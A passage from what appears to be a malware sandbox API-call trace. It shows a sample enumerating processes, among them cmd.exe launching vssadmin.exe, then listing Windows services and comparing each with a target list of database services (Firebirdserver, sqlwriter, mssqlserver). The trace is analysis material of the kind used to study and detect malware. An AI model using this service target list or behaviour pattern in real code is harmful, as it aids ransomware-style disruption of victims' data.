lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0181.827] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0181.827] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0181.828] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0181.828] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0181.829] lstrlenW (lpString="wmxsde.exe") returned 10 [0181.829] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0181.831] lstrlenW (lpString="cmd.exe") returned 7 [0181.831] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0182.025] lstrlenW (lpString="conhost.exe") returned 11 [0182.025] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0182.026] lstrlenW (lpString="consent.exe") returned 11 [0182.026] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0182.028] lstrlenW (lpString="vssadmin.exe") returned 12 [0182.028] Process32NextW (in: hSnapshot=0x51c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0182.029] CloseHandle (hObject=0x51c) returned 1 [0182.029] Sleep (dwMilliseconds=0x1f4) [0182.670] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f420 [0182.670] EnumServicesStatusExW (in: hSCManager=0x459f420, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0182.671] GetLastError () returned 0xea [0182.671] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x4661fb8 [0182.672] EnumServicesStatusExW (in: hSCManager=0x459f420, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0182.673] CloseServiceHandle (hSCObject=0x459f420) returned 1 [0182.674] lstrlenW (lpString="Appinfo") returned 7 [0182.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0182.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0182.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0182.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0182.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0182.674] lstrlenW (lpString="AppXSvc") returned 7 [0182.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0182.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0182.674] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0182.674] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0182.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0182.675] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0182.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.675] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0182.675] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0182.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0182.675] lstrlenW (lpString="Audiosrv") returned 8 [0182.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0182.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0182.675] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0182.675] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0182.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0182.675] lstrlenW (lpString="BFE") returned 3 [0182.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0182.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0182.676] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0182.676] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0182.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0182.676] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0182.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0182.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0182.676] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0182.676] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0182.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0182.677] lstrlenW (lpString="CDPSvc") returned 6 [0182.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0182.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0182.677] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0182.677] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0182.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0182.677] lstrlenW (lpString="ClickToRunSvc") returned 13 [0182.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0182.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0182.677] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0182.677] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0182.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0182.677] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0182.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0182.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0182.677] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0182.677] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0182.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0182.677] lstrlenW (lpString="CryptSvc") returned 8 [0182.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0182.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0182.678] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0182.678] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0182.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0182.678] lstrlenW (lpString="DcomLaunch") returned 10 [0182.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0182.678] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0182.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0182.678] lstrlenW (lpString="DeviceAssociationService") returned 24 [0182.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0182.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0182.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0182.678] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0182.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0182.678] lstrlenW (lpString="Dhcp") returned 4 [0182.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0182.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0182.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0182.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0182.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0182.679] lstrlenW (lpString="Dnscache") returned 8 [0182.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0182.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0182.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0182.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0182.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0182.679] lstrlenW (lpString="DPS") returned 3 [0182.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0182.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0182.679] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0182.679] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0182.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0182.679] lstrlenW (lpString="DusmSvc") returned 7 [0182.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0182.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0182.679] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0182.679] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0182.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0182.679] lstrlenW (lpString="EventLog") returned 8 [0182.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0182.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0182.680] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0182.680] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0182.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0182.680] lstrlenW (lpString="EventSystem") returned 11 [0182.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0182.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0182.680] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0182.680] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0182.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0182.680] lstrlenW (lpString="FontCache") returned 9 [0182.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0182.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0182.680] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0182.680] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0182.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0182.680] lstrlenW (lpString="gpsvc") returned 5 [0182.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0182.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0182.681] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0182.681] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0182.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0182.703] lstrlenW (lpString="iphlpsvc") returned 8 [0182.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.703] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0182.703] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0182.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0182.703] lstrlenW (lpString="KeyIso") returned 6 [0182.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0182.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0182.703] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0182.704] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0182.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0182.704] lstrlenW (lpString="LanmanServer") returned 12 [0182.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0182.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0182.704] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0182.704] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0182.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0182.704] lstrlenW (lpString="LanmanWorkstation") returned 17 [0182.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.704] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0182.704] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0182.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0182.704] lstrlenW (lpString="lfsvc") returned 5 [0182.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0182.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0182.704] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0182.704] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0182.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0182.704] lstrlenW (lpString="lmhosts") returned 7 [0182.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0182.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0182.704] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0182.704] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0182.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0182.704] lstrlenW (lpString="LSM") returned 3 [0182.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0182.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0182.705] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0182.705] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0182.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0182.705] lstrlenW (lpString="MpsSvc") returned 6 [0182.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0182.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0182.705] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0182.705] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0182.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0182.705] lstrlenW (lpString="NcbService") returned 10 [0182.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0182.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0182.705] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0182.705] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0182.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0182.705] lstrlenW (lpString="netprofm") returned 8 [0182.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0182.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0182.705] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0182.705] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0182.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0182.705] lstrlenW (lpString="NgcSvc") returned 6 [0182.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0182.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0182.706] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0182.706] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0182.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0182.706] lstrlenW (lpString="NlaSvc") returned 6 [0182.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0182.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0182.706] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0182.706] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0182.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0182.706] lstrlenW (lpString="nsi") returned 3 [0182.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0182.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0182.706] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0182.706] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0182.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0182.706] lstrlenW (lpString="PcaSvc") returned 6 [0182.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0182.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0182.706] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0182.706] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0182.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0182.706] lstrlenW (lpString="PlugPlay") returned 8 [0182.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0182.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0182.707] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0182.707] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0182.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0182.707] lstrlenW (lpString="Power") returned 5 [0182.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0182.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0182.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0182.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0182.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0182.707] lstrlenW (lpString="ProfSvc") returned 7 [0182.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0182.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0182.707] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0182.707] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0182.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0182.707] lstrlenW (lpString="RpcEptMapper") returned 12 [0182.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0182.707] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0182.707] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0182.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0182.707] lstrlenW (lpString="RpcSs") returned 5 [0182.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0182.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0182.708] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0182.708] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0182.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0182.708] lstrlenW (lpString="SamSs") returned 5 [0182.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0182.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0182.708] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0182.708] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0182.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0182.708] lstrlenW (lpString="Schedule") returned 8 [0182.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0182.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0182.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0182.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0182.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0182.708] lstrlenW (lpString="SecurityHealthService") returned 21 [0182.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0182.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0182.708] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0182.708] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0182.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0182.708] lstrlenW (lpString="SENS") returned 4 [0182.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0182.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0182.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0182.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0182.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0182.709] lstrlenW (lpString="ShellHWDetection") returned 16 [0182.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0182.709] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0182.709] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0182.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0182.709] lstrlenW (lpString="Spooler") returned 7 [0182.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0182.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0182.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0182.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0182.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0182.709] lstrlenW (lpString="StateRepository") returned 15 [0182.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0182.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0182.709] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0182.709] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0182.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0182.709] lstrlenW (lpString="SysMain") returned 7 [0182.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0182.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0182.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0182.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0182.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0182.710] lstrlenW (lpString="SystemEventsBroker") returned 18 [0182.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0182.710] 